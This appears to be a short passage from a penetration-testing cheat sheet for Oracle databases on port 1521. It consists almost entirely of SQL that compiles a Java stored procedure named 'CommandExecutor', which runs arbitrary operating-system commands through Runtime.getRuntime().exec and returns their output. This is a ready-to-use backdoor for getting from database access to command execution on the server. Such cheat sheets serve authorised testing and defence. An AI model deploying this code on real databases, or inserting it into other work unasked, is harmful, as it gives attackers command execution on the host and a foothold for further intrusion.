1521 - oracle
getRuntime
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CommandExecutor" AS
import java.io.*;
import java.nio.charset.StandardCharsets;
public class CommandExecutor {
private static final int MAX_OUTPUT_CHARS = 4000;
public static String run(String cmd) {
if (cmd == null || cmd.trim().isEmpty()) {
return "No command specified";
}
StringBuilder sb = new StringBuilder();
try {
Process proc = Runtime.getRuntime().exec(cmd);
try (BufferedReader outReader = new BufferedReader(
new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
BufferedReader errReader = new BufferedReader(
new InputStreamReader(proc.getErrorStream(), StandardCharsets.UTF_8))) {
String line;
while ((line = outReader.readLine()) != null) {
if (sb.length() + line.length() + 1 > MAX_OUTPUT_CHARS) {
sb.append("\n...[output truncated]...");
break;
}
sb.append(line).append('\n');
}
while ((line = errReader.readLine()) != null) {
if (sb.length() + line.length() + 1 > MAX_OUTPUT_CHARS) {
sb.append("\n...[output truncated]...");
break;
}
sb.append(line).append('\n');
}
}
int exitCode = proc.waitFor();
sb.append("[exitCode=").append(exitCode).append(']');
return sb.toString();
} catch (Exception e) {
return "ERROR: " + e.getClass().getName() + ": " + e.getMessage();
}
}
}
/Demo

Last updated